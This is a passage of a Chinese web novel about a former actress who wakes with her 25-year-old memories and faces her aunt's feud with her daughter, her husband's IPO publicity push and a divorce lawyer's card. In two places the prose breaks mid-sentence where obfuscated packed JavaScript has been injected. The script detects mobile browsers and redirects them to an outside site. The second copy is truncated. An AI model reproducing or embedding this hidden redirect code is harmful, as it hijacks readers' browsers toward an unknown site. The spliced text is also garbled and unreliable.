一听到穗穗,李茹华的气就不打一处来,又开始骂:“她哪有一点当妈的样子!刚一离婚就交了个男朋友,自己倒是过得快活了,把女儿一个人扔在家里,天天晚上让孩子吃外卖!” 田佳蕙冷笑一声:“我没有当妈的样子,那你又有当姥姥的样子吗?穗穗住在你跟前,也没见你给她做过一顿饭。你出去打听打听,哪家的老人像你这样!” 李茹华被女儿怼得血压飙升。她退休之后,一不喜欢跳广场舞,二不喜欢做饭,三不喜欢带小孩。女儿没离婚的时候,一日三餐都是女婿做,孩子也主要是女婿在管。 女儿离婚后,母女俩的生活全乱了套。田佳蕙自己忙着培训班的事情,看到妈妈退休在家闲着,既不做饭,也不帮她接送小孩,还天天一看她不顺眼就在家里骂骂咧咧,一气之下索性搬出去住了。 …… 应真意识到自己刚才说错话了,赶紧闭上嘴巴。毕竟十几年过去了,姨妈一家现在到底是什么情况,她根本不清楚。 兴许是看到外甥女婿来了,再加上应真和周围围观的人一直在劝说,李茹华的情绪稍微收敛了一些。她把应真甩到一边,拉着宁君昊哭诉起来:“君昊,你妈妈跟我一样,也是很早就没了老公,你肯定能理解我的感受。我含辛茹苦把她养大,她却这么没良心,就算是只白眼狼,也比她强啊……” 宁君昊点点头,耐着性子安抚老太太:“是啊,您这些年确实太不容易了。” 田佳蕙的一边脸颊已经肿了起来,上面还有几道血印子,她冷着脸,听着妈妈像竹筒倒豆子一样数落她的不是。 嘴长在李茹华身上,她管不了她说什么,也不想去管。反正不管是她妈这边的亲戚,还是她爸那边的亲戚,李茹华都已经把她的 “罪状” 说了个遍。在亲戚们眼里,她的过错简直一张纸都写不完。 应真有很多话想说,却卡在喉咙里,一时之间不知道从何说起,只能默默地扶着表姐。 她十几岁的时候来北市,住在姨妈家,那时候表姐妹俩睡在一张床上,有说不完的知心话。田佳蕙是独生女,性子有些霸道,脾气也算不上好。好在应真性格温柔,姐妹俩从来没有发生过冲突。 住在姨妈家的时候,应真常常要看姨妈的脸色。有时候姨妈念叨她,田佳蕙看不过去,还会替她出头。有一次,应真在外地拍戏时生病了,田佳蕙还专门跑到剧组去照顾她。 在北市拍了几年戏后,应真想给自己买套房子。田佳蕙主动提出借钱给她,尽管她实际上并不缺钱。 应真是个重情念旧的人,这些事情她都记在心里。她见证了田佳蕙从谈恋爱、结婚到生孩子的整个过程。 还记得穗穗出生后,田佳蕙和丈夫抱着孩子,脸上洋溢着幸福的笑容。 离婚对于一个女人来说不是一件容易的事情。 应真用力搂住表姐,轻轻地拍了拍她的后背。胳膊上传来的力道和暖意让田佳蕙鼻子发酸,她强忍泪意,用力咬住后槽牙。她心里清楚,跟她妈这样的人相处,哭是没有用的,只有比她更狠更绝才行。 应真知道姨妈爱面子,回到家后,她把姨妈和表姐喊进了小房间,又让宁君昊先回家。她下意识地不想让宁君昊掺和到自己亲人的这些事情当中。 她看出来姨妈其实是想有人陪伴,想找个人倾诉。她退休后一个人在家,日子过得太憋闷了。 就像以前她从姨妈家搬出去,每次拎着东西去看望她,姨妈都会拉着她说上好长一段时间的心里话。 “你先回去吧,然然一个人在家呢。我这边还不知道要处理到什么时候。你把我的车开走。等会儿我让田佳蕙送我回去就行。” 刚才来的路上,宁君昊已经给女儿打过电话,让她饿了就自己点外卖吃。他们住的那个小区安保措施很完善,点外卖的话,物业的管家会帮忙把外卖送到家门口。女儿这么大了,一个人在家,安全方面倒也不用担心。 不过,应真心里还是隐隐有些不踏实。她自己也说不清楚到底在担心什么。 “行。那你早点回来啊。” 宁君昊对李茹华没什么好感,结婚这么多年,老太太这边不管有什么事情,都是应真一个人去处理和应对。 在他看来,跟这种难缠的老太太打交道,纯粹是浪费时间,没有任何意义。 宁君昊开着那辆老奔驰,从小区出来,路上接到了周添的电话:“寰宇那边的意思是,您和嫂子感情再好,还是要先做一下PR,优化一下公众形象。这样尽职调查那边效率也会更高些。毕竟嫂子已经很久没有在公众面前露面了,外界对您的婚姻状况都非常好奇。公关部那边给出了一个方案,他们会联系媒体,到时候安排您和嫂子一起露面接受采访。” 奇技公司现在正处于上市的筹备阶段,尽职调查的内容包括宁君昊的个人婚姻情况。 毕竟有前车之鉴,前两年有家芯片公司在科创板 IPO 的过程中,就因为老总没有及时披露自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060848|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离婚诉讼,被监管部门问询后不得不撤回了申请。 所以这次奇技公司的 IPO,无论是保荐机构,还是合作的律所,都对这个问题格外关注。 宁君昊想到那份离婚协议书,眸色暗了下来。不管是从感情方面还是从理性角度考虑,这个婚绝对不能离。 他稍微思索了一下,对周添说道:“可以。你跟公关部说一下,时光之烬上线的那天正好是我和我太太的结婚纪念日。采访当天,准备好蛋糕和鲜花,顺便庆祝一下我们的结婚纪念日。让公关部把详细的方案做好后发给我看看。” 时光之烬这么重要的游戏选择在结婚纪念日当天上线,其中的意义不言而喻。 周添没想到还有这一招,不禁兴奋地拍了下大腿:“这样一来,看外面还有谁敢说您和嫂子感情不好!” 宁君昊挂断电话,一边开车,一边在脑海里把这两天发生的事情梳理了一遍。现在看来,应真应该不会再提出离婚的要求了,她还是像刚结婚时那样深爱着自己。女儿那边,应真也不像以前那么紧张焦虑了,一切都在朝着好的方向发展。 应真的情绪稳定了,压在他心头的那块大石头终于落了地。虽然他有很多办法可以让应真无法跟他离婚,但他不想那么做。他心里明白,如果真的走到那一步,他和应真之间的感情也就彻底完了。 回到家后,宁君昊把车子开进地下停车库,看到司机已经把他的迈巴赫停在了指定的位置。 他打开车门,把昨天放在后座的文件袋拿了出来。 * 宁颐然在回家的路上听司机说,爸爸晚上没有其他安排。 结果到家没多久,她就接到了爸爸的电话,说他和妈妈要去姨奶奶家一趟。 她只好先开始写作业。今天家里没人,她一到家就收到了晋扬发来的微信。晋扬说他妈妈晚上有事,要去见一个当事人,他们可以连着视频一起写作业。 宁颐然一进房间,就拨通了视频通话,说道:“吓死我了。我还以为今天陈妙容告我的状了呢。她把我妈留下来,说了好长时间的话,我还以为她把我上课传纸条的事情告诉我妈了。” 陈妙容是他们的班主任。班上的同学在背后说起她的时候,都是直接喊她的大名,根本没把她放在眼里。毕竟国际学校,大部分同学都打算以后出国读高中或者本科,没人把语文课太当回事。 晋扬笑着调侃她:“你不是跟我说你不怕你妈吗?” 宁颐然嘟囔着解释道:“我不是怕她,我是怕她唠叨。我妈妈这个人一唠叨起来就没完没了。我和我爸爸都觉得她太烦了。” 晋扬说:“我今天上楼梯的时候看到你妈妈了。她还冲我笑了笑,感觉比我妈温柔多了。” 晋扬的妈妈是一名律师,工作非常忙碌,每天都是拖着疲惫的身体回到家,然后就一头扎进书房继续工作,根本没有多余的精力和情绪来关心他。 宁颐然不想再聊关于妈妈的话题了,拿起手机开始准备点外卖,问道:“你晚上打算吃什么?” 晋扬回答:“我家附近有一家餐厅的鳗鱼饭味道还不错,我打算等会儿点一份。” 宁颐然正好在纠结吃什么,于是也打开外卖软件开始搜索鳗鱼饭,也给自己点了一份。四十多分钟后,物业管家按响了门铃,把外卖放在了门口。 宁颐然把外卖拿进来,一边吃一边跟晋扬核对作业答案。对到一半的时候,她听到了开门的声音。她赶紧挂断了视频通话,假装出来倒水喝,原来是她爸爸回来了。 爸爸问了一句 “吃饭了没有”,宁颐然说“吃了”。他点点头,直接往书房走去。宁颐然从厨房出来,听到书房那边传来了碎纸机碎纸的声音。 她吐了吐舌头,轻手轻脚地回到自己的房间,坐下来给晋扬发了条微信:“刚才我爸爸回来了。” 晋扬隔了一会回了一条:“上回你说给我带早餐,结果没带。你什么时候补给我呀?” 宁颐然发了个敲脑袋的表情包,说道:“过段时间再说吧。我妈前几天出了车祸,手受伤了,这几天可能都做不了饭。” 说到这里,宁颐然突然想起来,刚才忘了问爸爸,妈妈怎么还没回来。 连续两天晚上都让她吃外卖,这也太不寻常了!宁颐然感觉家里的气氛有些不对劲,总觉得一定是发生了什么事情,她的爸爸妈妈却没有告诉她! 从宁颐然记事起,她妈晚上很少不在家。小时候,妈妈会陪着她一起玩游戏、看书。后来她长大了,妈妈又会陪着她写作业。 一直到升上初中,她坚决不让妈妈再陪她写作业,更不许妈妈进她的房间。那次,为了争取自己的自由空间,她还说了几句伤妈妈心的话。 后来宁颐然回想起来,觉得自己当时说的话也没错。妈妈高中都没念过,看得懂她的作业么?从那以后,妈妈就不再干涉她写作业的事情了,只负责照顾她生活起居。 宁颐然写完作业,洗完澡,上床睡觉的时候,妈妈还没有回来。她竖着耳朵听着外面的动静,不知不觉就迷迷糊糊地睡着了。 12. 第 12 章 李茹华当然知道后半辈子只能靠女儿,自己死后的钱,也全都是女儿的。她只是不甘心,所以疯狂地找女儿刷存在感。而田佳蕙吃定她妈拿她没辙,用她的话来说“死猪不怕开水烫”。 离婚已经剥掉她一层皮了,好不容易找了个小男友疗愈伤口。亲妈又来折腾她,田佳蕙觉得自己太惨了。 应真跟姨妈和表姐聊过后,才发现矛盾已经到了不可调和的地步。李茹华感觉手空落落,心空荡荡,什么都抓不住。她揪着田佳蕙,让她给自己打两百万的欠条,指望这样能让女儿低头。 田佳蕙不肯,那套婚房原本她打算卖掉,是她妈强烈要求不卖的,然后自己掏老本补钱给那个窝囊废。现在反倒让她来打欠条,她才不打。 母女俩僵持不下,应真帮谁都不合适。矛盾都是经年累积的,如果能调和早就调和了。她这个外人除了听,能做的不多。 应真只能让姨妈早点休息,有空她会过来陪她聊聊天。 亲妈闹这半天,穗穗晚上又是一个人在家。送应真回家的路上,田佳蕙一双眼睛亮得可以杀人,情绪有些反常的亢奋,咬牙恨声道:“她闹她的,闹得鱼死网破,我把我的培训班关掉,换个地儿开。我让她找不到我!是她需要我,还是我需要她?” 应真原本一肚子的话想跟她说,看她今天情绪起伏这么大,有些话便咽了下去,转过话题:“姐,我有没有跟你说过我因为什么事跟我爸妈闹翻的?” 田佳蕙不假思索地回道:“说过啊。前几年你弟应磊在网上赌博,欠了一百多万。你爸妈想让你替他还赌债,你不肯。让他们把给应磊买的房子卖了,用卖房子的钱去填赌债的窟窿。你爸妈好不容易替儿子攒了一套房,费尽心血装修,让他们卖掉不是挖他们的肉吗?再说了,他们觉得你不缺这个钱,却不肯出手相帮,心里当然不舒服。” 这听上去像是她那个弟弟会干出来的事。应真继续问道:“后来呢?他们就因为这事跟我断绝关系了?” 田佳蕙唇角一扯:“你可是你们家的摇钱树,他们哪舍得?是你跟他们断绝往来了。” 说起来,应真和家里断绝关系的导火索是一件小得不能再小的事。 因为女儿拒绝替儿子还债,应家老两口不得不把给儿子置办的房子卖了,卖的房子刚好够还赌债的。应磊把钱还完了,也不想出去打拼了,就留在父母身边找了个工作。 “你爸妈可能是觉得以后还是要靠儿子,就把自个睡的主卧腾出来,让你弟睡。就这事把你彻底惹毛了,你觉得你弟没资格睡。” 田佳蕙看她一眼,继续道,“这事你也没说过,还是我妈从你妈那听来的。” 空调的风吹得应真有些发冷。她按下车窗,九月的北市空气中还残存着一丝暑气。这天气让她想到老家白泉,这个时候应该比北市还要热很多。 那年,父母领着她到北市姨妈家,塞给她六百块钱。父亲责怪她花家里太多钱,隔壁邻居家女儿初中毕业就去打工了。她花了家里钱上了中专,结果毕业人家都分派去小学当老师,她偏要跑到北市,说是当演员。 演员哪是那么好当的?父亲觉得这事不靠谱,母亲看了女儿在学校拍的那部电影,反倒有了些许信心,打断男人的絮叨,“你就别说了。说不定真真以后真演出名堂来,咱俩也跟着沾光。” 因为这句话,应真后来拍戏,一接到片酬,就把大部分钱都转给家里。她在北市光杆司令一个,而白泉是一大家子人,花钱的地方很多。 住在姨妈家,日子并不好过。应真只要不拍戏,就承包家里大部分的家务。洗衣服、做饭不在话下。李茹华不会做饭,有个会做饭的外甥女求之不得。不过她是个挑剔的性子,只要应真洗澡时间长点,她就会在外头猛拍门。洗碗也只能开很小的水洗。就连她碰一下表姐的钢琴,姨妈也要念叨半天。 来北市半年后,应真就从姨妈家搬出来,谎称自己在外头租了房子。 其实她只是在林大租了一个女生的床位,每次宿管来查寝的时候,她都要躲在走廊的水房里。 长年在外面打拼,应真也早已习惯了报喜不报忧。她难过的是,不管寄再多钱回家。父母都很少打电话给她。 在北市待久了,应真经常觉得很孤单。拍戏时,跟着剧组四处走。不拍戏的时候,就待在出租屋里。 应真第一次跟父母闹矛盾,是因为她想在北市给自己买套房子。他们觉得她以后早晚要结婚的,没必要花那么多钱买房子,希望她多寄点钱回去。 应真却厌倦了在北市不停搬家的日子。 后来有一次去看望姨妈,应真听到她说给田佳蕙存了多少钱,就这么一个女儿,以后她成家肯定是要给她买房子的。 应真还记得自己当时有多羡慕表姐,不光是因为姨妈给她存钱,而是说起女儿时,她眼里的神采。一个母亲满心满眼全是自己的孩子,那种眼神应真在她妈眼里也看到过,只不过是说起弟弟时。 从姨妈家出来,应真就把所有钱取出来,去翠苑买了一套房子。那个小区她很喜欢,有成片的竹林和梅园。 跟宁君昊结婚后,有了自己的家庭,对原来那个家的依恋越来越少了。应真代入自己,因为睡主卧这事跟他们断绝往来,也并不奇怪。 “这多么年我一直在供养他们,付出这么多,回家也不过睡客房。儿子什么都没做,亏了一套房,依然是他们的心肝肉,以后这个家是要传给他的,睡主卧室自然是应该的。就因为他是儿子,他就可以心安理得地享受父母攒了一辈子,甚至是从女儿那要来的东西。” 应真说话一向温柔,极少像这样冷言冷语,“断了就断了吧,我也没什么对不起他们的。” 田佳蕙点头,“你那时候跟我说,你配得到跟儿子一样的爱,一开始我还没理解。可能因为我妈就我一个孩子,我体会不到偏心的感觉。” 应真情绪已经平复,开始掉转矛头,“你也知道你妈的东西都是你的,就不能对你妈耐心一点?” 田佳蕙被她说得炸毛:“我对她还没耐心?是她自己有毛病,离个婚被她说得好像我让她抬不起头来!哪个老太太像那样?我自私也是跟她学的!” 应真不说话了。车子开到家门口,下车前,她对田佳蕙道,“今天本来想去你租的房子看看穗穗。改天你带她来我家吃饭吧。” 田佳蕙看着她的背影,忍不住直嘀咕。前两天穗穗才在她那吃了顿晚饭,她这又念叨上了。 应真是真的很喜欢小孩。 …… 应真到家已经十点了。女儿房间的灯熄了,书房的灯亮了,宁君昊还在忙。 她换下拖鞋,直接去主卧的卫生间洗澡。主卧有浴缸有淋浴间,没有心情泡澡,应真在淋浴间把自己洗干净就出来了。 用大浴巾将自己身体包裹住,开始护肤流程。她承认,今天在手机上刷到狄澄的视频,把她刺激到了。狄澄比以前瘦了很多,状态出奇得好。评论里都在说她保养这么好,是因为没结婚生孩子的缘故,还拿出几个婚育过的女演员做对比。 应真庆幸她没在那个名单看到自己的名字。可是转念一想,她都息影十几年了,只怕也没几个人能想起她的名字。 应真先用美容仪做了一遍提拉,再给自己敷上面膜。所有护肤流程结束,她拿起手机一看,已经快十一点了。 …… 宁君昊正在书房跟北美那边的销售商开会,书房门留了条缝,应真回来开门的声音他听到了。 总代正在汇报下个季度的销售计划,宁君昊却有些心不在焉。 隔了半个小时,门被推开了,应真从门外探进脑袋,她不知道他开视频会议,便问了句,“老公,你还要多久啊?” 宁君昊按住话筒:“很快。” 周添也在会议上,听到那头隐隐约约传来的女声,这声音怎么听出一丝年轻女孩的娇意?他跟宁君昊太太打过照面,声音很温婉成熟,难不成宁君昊在外头有情况? 宁君昊松开话筒,淡声道:“好了。我太太在催我睡觉。再不结束,我担心待会她不让我上床。” 他用英语说的,一堆男人笑了起了,周添松了口气,呼吸都顺畅了。几个老外都是已婚男人,深知“happy wife ,happy life”,在谈笑中结束了会议。 宁君昊草草结束会议,以为应真会等自己,洗完澡进房间,她已经睡着了。 应真实在太累了,躺下没多久眼皮就开始发沉,迷迷糊糊之间,感觉身后的床向下陷,下一秒她就被刚上床的男人搂在怀里。 她闻到陌生的须后水气息,檀香混合着雪松,清冷疏淡的感觉。这不是她喜欢的那种感觉阳光清爽的气味。 她正想问宁君昊是不是换了须后水牌子,但是她太困了,眼皮像是被强力胶水给粘住了,根本撑不开。 宁君昊没想到她睡得这么香,他有些气闷,在她肩膀上轻轻咬了一口,“我以为你在等我一起睡。” 这人怎么恶人先告状起来!结婚的时候,应真和他商量好的,再忙十二点也要睡觉。 他不在她身边,她睡不好。而宁君昊也一样,必须把她搂在怀里,才能睡踏实。 应真昏沉的大脑瞬间清醒过来,翻身看着他,气呼呼地昂头咬了他下巴一口,“我记得我们商量好了,十二点必须睡觉的。是你不遵守规定。” 她突然想起书房那张床,有些恍然地睁大眼睛,“宁君昊,我们这些年不会已经分床睡了吧?” 人到中年,宁君昊最擅长的便是装傻,将人搂在怀里,“怎么可能?没你躺在我身边我根本睡不好。” 说完,他便开始剥应真睡衣的肩带,将头埋在她胸前,呼吸也变得急促起来。 宁君昊对她的身体了如指掌,技巧娴熟,应真根本抵挡不了。她实在太困了,便由着他去了。 * 宁颐然早上起床,在厨房里看到熟悉的身影。 应真起得很早,已经收拾好自己了。手没什么大碍,但厨房里的厨具她不熟悉,用起来很不顺手,所以有些手忙脚乱。 最后女儿的早餐只能一切从简,全麦三明治,牛奶,再加混合水果沙拉。她自己早上一杯黑咖啡,一个煮鸡蛋。 不管怎么说,先把体重减下来再说。 宁君昊的早餐跟女儿一样,不同的是牛奶换成了拿铁。应真给自己做完黑咖啡,又给宁君昊做了一杯拿铁。 宁颐然三明治啃到一半,正想说,今天早餐怎么没有肉?一抬头,看到爸爸从妈妈手里接过咖啡的时候,竟然低头亲了妈妈一口。 而妈妈竟然也冲他笑了,和前两天冷战时简直像是换了个人。宁颐然鸡皮疙瘩都起来了,这,这倒底什么情况? 应真转头,发现女儿正看着自己,有些不好意思地清了清喉咙,“然然,妈妈的手好得差不多了。今天我送你去上学吧。” 宁颐然“哦”了一声,没再说什么,继续吃早饭。趁她妈不注意,把一半三明治装进纸袋,揣进口袋里。 宁君昊的眼睛一直在手机上,公关部昨天晚上连夜优化了方案。他看了一眼,对应真道:“下周有个采访活动,需要你陪我出席。” 他的语气好像在下达任务,又如常得像是在谈天气。 以至于应真觉得这十几年她可能经常陪他参加活动,于是问道:“什么采访活动?” 宁君昊:“你结婚后就息影了,外界对你很好奇。媒体想来家里采访我,我总不能一个人露面吧?” 应真现在是二十五岁的记忆,她才刚拍完最后一部电影,很习惯拍照采访这种事,对她来说,不是个事。 “行。到时候你提前告诉我需要准备什么。” 宁君昊握着杯子的手和眉心的纹路,在听到这句话时,几乎同时松开。 * 北市十几年街道的变化可以用翻天覆地来形容。应真第一次用女儿上学,全程靠导航。 因为不熟悉路况,她精神高度紧张,倒也没有多余精力管坐在副座玩手机的女儿。 宁颐然一上车就拿出手机来。几个死党也都在路上,约着一起开黑。 她戴着耳机,妈妈在一旁,她也不好说话。只听那头两个死党在大呼小叫。 车子停在红绿灯路口,女儿的眼睛始终都未从手机上挪开。应真想劝她休息一下眼睛,话到嘴边变成,“你们班有多少同学有手机?” 听到妈妈提到“手机”,宁颐然瞬间开启戒备模式,脸也拉了下来,“每个人都有啊。又不是没钱买。现在没手机,跟同学都没话说。” 应真想了想,觉得女儿说的有道理,“那没手机,会不会在学校被其他同学孤立?” 宁颐然没想到妈妈能这么心平气和地跟自己聊手机的事,话也比平时多了起来,“肯定会啊。上学期我们班有一两个同学没手机,后来发现没人找他们玩,有活动也不叫他,慢慢地在班上就被孤立了,这学期他们都买了手机。” 母女俩聊了几句,不知不觉就到了学校门口。早上的校门口一如既往地拥堵,应真把车子停在路旁,在交警的吹哨声中目前女儿进校园。 …… 培华上午大课间,宁颐然跟晋扬约好了在学校操场的大沙坑那见面。 两人坐在沙坑边的草地上。宁颐然从口袋里掏出给他带的三明治,“喏!以后别再说我说话不算数了!” 晋扬拿过来就开始吃起来。他妈早上没时间给做早饭,他都是自己去买。今天起晚了,家附近的早餐店老长的队伍,没时间排,他就饿着肚子来学校了。 宁颐然看他狼吞虎咽的样子,从口袋里掏出自己那瓶奶递给他,“我早上在家喝过了。” 趁着晋扬吃饭的功夫,宁颐然没忍住,把早上看到一幕告诉他:“你爸妈会在你面前亲吗?你会不会觉得恶心?” 晋扬将吸管插进牛奶里,咧嘴笑,“这有什么?我还撞见他们那个。” 宁颐然想问“哪个”,一转头对上晋扬脸上古怪的笑容,瞬间什么都明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一想到这条路,她可能不知道开了多少遍了,她便忍不住观赏起街景来。 每天接送女儿,来回四趟,路上自己在想什么呢?应真演员的习性冒了出来,她开始揣测自己的想法。 中午吃什么。不重要。一个人无所谓,不吃都她来说都是OK的。 晚上呢,晚餐想必是要重视的。女儿和丈夫要回来吃饭,每天做什么,几菜几汤,荤素搭配,那肯定是会花会很多心思。 应真了解自己,她责任感强。一旦为人妻,为人母,肯定会做好应该做好的。所以,四十岁的她,每天生活就是围着老公女儿转吗? 到家后,钟点工叶阿姨还没走。原来前几天,那个应真安排她趁天气好,把家里的窗帘全部拆洗一遍。 叶阿姨一边洗,一边烘。应真看她一个人站在梯子上挂帘子,上前帮她扶梯子。 她已经听宁君昊跟她说过叶阿姨家里的情况。女儿出生后,叶阿姨就来家里帮忙了,已经十几年了。 趁着叶阿姨在,应真请她帮自己整理一下衣帽间。说实话,她也想不明白自己后来穿衣风格怎么变化那么大,买的衣服几乎都以休闲服饰为主,宽松得完全起不到修饰身材的作用。 现阶段的应真不喜欢那种风格,所以她想整理一下,把她平时习惯穿的衣服重新挂出来。或者她可以找黄书韵陪她一起逛街,再买几件衣服。 还真巧了,应真正想着黄书韵。黄书韵就打电话过来了:“家长会还顺利吧?你这什么都不知道,没露馅吧?” 应真拿着手机走到衣帽间的软榻边坐下,笑:“怎么可能露馅?我就当扮演一日老母亲好了。” 家长会没什么说的,姨妈家的事对应真的冲击比较大。 想到姨妈和表姐之间那个剑拔弩张的气氛,应真心情很复杂,语气也变得索然,“看到我姨妈那个样子,觉得挺可悲的。她一辈子所有心血全在田佳蕙身上,到头来母女弄得像仇人似的。” 黄书韵没有亲人这层滤镜,看这问题要理性得多,“她们母女闹成现这个样子,绝大部分责任在你姨妈身上。要我说,当妈的和不当妈的,看这事角度就是不一样。你是代入李茹华的视角了,所以生出一种兔死狐悲的感觉。我吧,一听你说,就代入到田佳蕙的角色上去了。她才可怜好吗?那么小没了爸,离了婚,还天天被亲妈骂。” 应真被她说得哑口无言,“你啊,不愧是当编剧的,看问题还是这么犀利。对了,我记得你之前在写一本关于中年夫妻的小说,后来写完了吗?” 她想到穿来之前,在出租车上跟黄书韵的对话。 黄书韵:“你说的是结婚十年吧。那本书当时写得我太痛苦了,我感觉我是蘸着心头血写的。好在写完反响不错,后来嘉鼎花八十万把版权买走了。但一直没有开发,还有一年版权到期。看这架势,嘉鼎也没有开发的打算。我想把它要回来,自己拉投资来拍。” 当了这么多年编剧,拿着娱乐行业垫底的报酬,黄书韵也在找别的出路。说到这,她又开始劝应真,“我想拿这本书来创业,自己找钱找团队一起拍。你现在女儿也大了,咱俩一起干,怎么样?” 应真有些犹豫:“我这才来。都还没缓过来。” 黄书韵啧的一声:“应真,我真觉得你应该跟田佳蕙学学。当妈不用当得那么尽职。放手一点,也不会怎么样,你看田佳蕙,每天不是忙着谈恋爱,就是忙她那个培训班的事,心思完全不在她女儿身上。她女儿还不是好好的?乖巧懂事,学习还好。这人啊,不管是成年人还是小孩,都挺贱的。小时候喜欢温柔全身心爱自己的妈妈,长大了喜欢有钱有能耐的妈妈。你现在应该当有钱有能耐的妈。” 应真笑道:“你意思是我现在是没钱又没能耐的妈了?” 黄书韵噎住,赶紧找补:“你知道我不是这个意思。我就是觉得女人不能太把母职当回事。” 应真感觉自己是无痛当妈了,但鬼知道这些年在她身上发生了什么。就这两天功夫,她已经感觉到女儿对她并不尊重。 “可能你说的对。然然已经长大,并没有那么需要一个无微不至的妈妈。你说的我会考虑的。” 黄书韵听到应真语气松动了,激动得嗓门都高了起来,“真的?那我明天就去找嘉鼎的老板!赶紧把版权要回来!不是我说,当初写那小说,女主我就是照你的样子写的。这么多年,一想到要拍结婚十年,我脑子里就没出现过其他人选!” 应真被好友的情绪感染了,眉眼不由自主地也染上笑意,“我老了。现在哪能跟年轻的时候比?” 她想到今天看到狄澄的视频,“我记得那会拍西城纪事的时候,狄澄黑黑小小的,一点不起眼。这么多年竟然熬出来了。” 黄书韵听出她语气里的失落,“应真,我一直觉得你息影挺可惜的。如果你当初一直坚持拍戏,成就肯定在狄澄之上。” 毕竟是亲生的闺蜜,看自己人总是最好的。应真淡笑:“不可能的事就别讨论了。” 挂上电话,叶阿姨衣柜也收拾得差不多了。应真让她先回家。 看着衣橱里熟悉的衣服,总算找回些许归属感。关上衣橱门,一张纸片从门缝里飘了出来。 应真捡起来一看,是张律师的名片。 目光扫到下面一行小字,她顿住了,上面写着:专业从事离婚诉讼服务。 13. 第 13 章 十四五岁的小孩最怕什么?最怕在同学面前丢脸。 答应易梦楠后,宁颐然一整天都在后悔。要么不做,要么就做得最好。跟在别人后面学,她自己都很鄙视那种人。 易梦楠妈妈已经来学校分享过拍戏的趣事,而且讲得那么有意思,妈妈如果也来学校分享年轻时候当演员的经历,那不是拾人牙慧么? 宁颐然很苦恼,但已经答应易梦楠了,再反悔也不是她的风格。 周五晚上,爸爸公司有事,晚饭又是她和妈妈两人吃。准确来说是她一个人吃。 今天餐桌上妈妈很沉默。不像以前,即便不吃,也坐在一旁陪她,注意力全在她身上,给她夹这夹那的。 宁颐然吃饭时,抬头看了妈妈好几眼,她一直坐在一旁看手机。 宁颐然烦得很,怎么妈妈也这样!吃完晚饭,她破天荒没有立刻回自己房间,而是发了几个ppt到妈妈手机上。 “我们班的妈妈课堂,就你没去了。你参考一下其他同学妈妈的讲座内容,看看自己讲什么。下个月第一周的周五,还有半个月的时间准备。” 应真白天一直在手机上看黄书韵发给她的《结婚十年》,看哭了好几次,到现在还意犹未尽地在刷评论区。难怪黄书韵说当年好多读者要给她寄刀片,她竟然安排女主得了绝症! 作为演员,应真的共情能力极强。这让她能够迅速理解角色,但同时又让她很内伤。 …… 宁颐然说了两遍,妈妈才听清楚她说什么,然后打开微信看了几眼,说了句“我知道了”,便又去看自己的东西了。 她扫到妈妈的手机页面,就知道她又在网上看言情小说,气不打一处来,“妈,你都一把年纪了,能不能别再看言情小说了?你知不知道这个讲座对我很重要!我都不指望你像别的同学妈妈那样赢得满堂彩,不给我丢人就行了。” 应真的目光从手机屏幕移到女儿的脸上,看到那双燃着怒火的眼睛,才意识到她在说什么。 她的脸色瞬间变得很冷,看着自己的女儿,字斟句酌地开口:“没人规定上了年纪就不能看言情小说。你刚才发的几个别的妈妈做的,我看过了,大概知道是怎么回事,我已经想好了去讲什么。我还没去,你怎么就觉得我会给你丢人?而且,你这么说话,是不是太不尊重人了?” 宁颐然从记事起,妈妈跟她说话总是温温柔柔的,第一次在妈妈脸上看到如此严肃的表情,仿佛自己只是个陌生人,委屈伴随着愤怒涌了上来,她气得甩下一句,“随便你!反正我已经提醒过你了!” 女儿气呼呼扭头进了房间,用力甩上门。“砰”的一声,应真下意识闭上眼睛。 自打她来了,就感觉这孩子跟她说话很不礼貌,应真忍到现在,忍不了了。她用力揉了揉太阳穴,努力平复自己的心情,再次觉得黄书韵说的对。这么大的孩子有自己的世界了,家长应该适当让出空间。看来以前的自己围着女儿转,给了她太多关注,才导致她现在这个样子。 桌上的手机亮了,应真刚平复的心情,在看到婆婆打来的电话,又波动起来。 她跟宁君昊才结婚,对这个婆婆是能躲则躲。开始认真思考结婚这件事后,她才发现,难的不是结婚本身,而是怎么融入对方的家庭。一旦结婚了,成了法律意义上的夫妻,有些关系就避不了。 宁君昊是本地人,家里亲戚众多。虽然父亲在他上中学的时候去世了,但跟叔叔伯伯那边一直在走动。跟母亲这边的亲戚就联系得更紧密了。 他母亲何方珍这边亲戚大多高学历出身,职业光鲜。何方珍自己虽然只念了个很普通的大学,但后来嫁了个大学教授,在兄弟姐妹当中也过得去。她做梦也没想到丈夫去得那么早。 好在儿子替她狠狠争了口气,何方珍从当年被人同情的寡妇,到现在成了娘家举足轻重的人物,都是因为她有个有能耐的儿子。 在应真看来,同样是年轻丧失,婆婆要比姨妈幸运得多。何方珍丈夫去世,婆家和娘家多少还是给了些支撑。而李茹华性格孤冷,丈夫走后,她跟婆家那边断了联系。自己娘家远在白泉,昔日兄弟姐妹也不大来往了,除了跟应真母亲偶尔联系。 应真不知道自己这些年跟婆婆的关系相处怎么样,硬着头皮接通电话,喊了句“妈”。 何方珍的声音一如既往的硬朗:“马上中秋节假期了,礼拜天你们过来吃饭吧。” 儿子有本事,在金钱方面很大方,感情上却很淡漠。如果何方珍不跟儿子联系,儿子可以一年不给她打一次电话。所以有事她都是找儿媳,就这么一个儿子,自然是想尽办法亲近。 听到中秋节,应真头更痛了。她刚决定跟宁君昊结婚,婆婆私底下就开始给她立规矩,要求婚后一年三节立须跟宁君昊一起去她那吃饭。 毕竟才结婚,她还没去过一次。没想到这就摊上了,应真只能回:“妈,这段时间君昊公司新游戏上线,事情很多。他不一定有时间。” 何方珍不悦:“再忙总要吃饭吧?这一年才一次中秋!他要实在忙,你带然然过来。” 